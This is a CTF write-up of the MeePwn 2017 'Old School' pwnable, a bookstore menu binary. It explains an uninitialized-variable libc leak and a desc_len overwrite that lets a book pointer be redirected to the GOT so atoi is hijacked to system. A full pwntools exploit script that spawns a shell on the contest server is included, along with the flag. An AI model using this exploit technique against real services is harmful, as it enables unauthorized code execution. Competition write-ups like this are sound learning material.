MeePwn CTF 2017 -- Old School

Category: Pwnable

64 bit ELF, Partial RELRO, NX enabled, No PIE, has canary.

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-------- BookStore --------
1. Add Book.
2. Edit Book.
3. Delete Book.
4. Show Books.
5. Exit.

As we can see we can add, edit, delete or show a book. Books are stored in a pointer array books, each pointer point to a book data structure:

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struct book{
char book_name[32];
char author[32];
int desc_len;
char desc[256];
}

The books array and each book pointer are all placed on the stack memory.

The program did not initialize the book variable before setting its data. Since there’s a libc address ( <atoi + 0x10> ) in it, we can leak the libc address by entering 4 characters in the description:

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Choice:4
------------ 1 ------------
Name: 11111111
Author: 11111111
Description: AAAA�N���
-------- BookStore --------
1. Add Book.
2. Edit Book.
3. Delete Book.
4. Show Books.
5. Exit.

After done some fuzzing, I also found that if we input 32 characters in book_name and author ( no newline ) , the desc_len will be overwritten with our input, and become a large integer. Since when we edit the book description, the length to read is depend on the desc_len data, this make us able to overflow the book->description buffer and overwrite the pointers in the books array !

So here’s how I exploit the service:

  1. First leak the libc address
  2. Overwrite the desc_len data
  3. Overflow the books[0]->desc buffer and overwrite books[0], let it point to the GOT section
  4. Edit books[0] and do the GOT hijacking ( hijack atoi to system )

The exploit at the local side worked, but for some unknown reason, the service at the remote side has a different behavior: during the last step of the exploitation, it won’t let us input the author data, thus failing our exploit. Although we can still pwn it by not entering the author’s name, it still took me a while to debug the whole process.

exp_oldschool.py
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#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "139.59.244.42"
PORT = 31340
ELF_PATH = "./oldschool_noalarm"
LIBC_PATH = "./libc6_2.23-0ubuntu7_amd64.so"

context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach

elf = context.binary # context.binary is an ELF object
libc = ELF(LIBC_PATH)

def add_book(book, author, dlen, desc):
r.sendlineafter("Choice:", "1")
r.sendafter("name:", book)
r.sendafter("uthor:", author)
r.sendlineafter("tion:", str(dlen))
r.sendafter("tion:", desc)

def edit_book(idx, book, author, desc):
r.sendlineafter("Choice:", "2")
r.sendlineafter("?", str(idx))
r.sendafter("name:", book)
r.sendafter("uthor:", author)
r.sendafter("tion:", desc)

def del_book(idx):
r.sendlineafter("Choice:", "3")
r.sendlineafter("?", str(idx))

def show_book():
r.sendlineafter("Choice:", "4")


if __name__ == "__main__":

r = remote(HOST, PORT)

book, author = "1"*8+"\n", "a"*8+"\n"
add_book(book, author, 100, "AAAA\n")
show_book()

# leak libc
r.recvuntil("AAAA")
libc.address = u64(r.recv(6).ljust(8, "\x00")) - libc.symbols['atoi'] - 0x10
log.success("libc_base: "+hex(libc.address))

del_book(1)
book, author = "1"*32, "a"*32
# make book[0]->size = very big
# later when we edit book[0]->desc, it will overwrite the pointer of book[0]
add_book(book, author, 100, "AAAA\n")

# edit book[1]->desc, overwrite book[0]
# change book[0]->name to got section
# later we can edit book[0] & do GOT hijacking
payload = "i"*503 + "\x00" + p32(1) + p64(0x602028) + "\n"
edit_book(1, "1\n", "1\n", payload)

# overwrite atoi to system
payload = "i"*4 + p64(libc.symbols['system']) + "\n"
book, author, desc = p64(0x400706)[:6:] , p64(0x4006f6)[:6:], payload
r.sendlineafter("Choice:", "2")
r.sendlineafter("?", "1")
r.sendafter("name:", book)
# don't know why author won't read input.....
#r.sendafter("uthor:", author)
r.sendafter("tion:", desc)

r.sendline("sh")
r.interactive()

flag: MeePwnCTF{0ld_sch00ld_C4n4ry_1s_0n_th3_st4ck}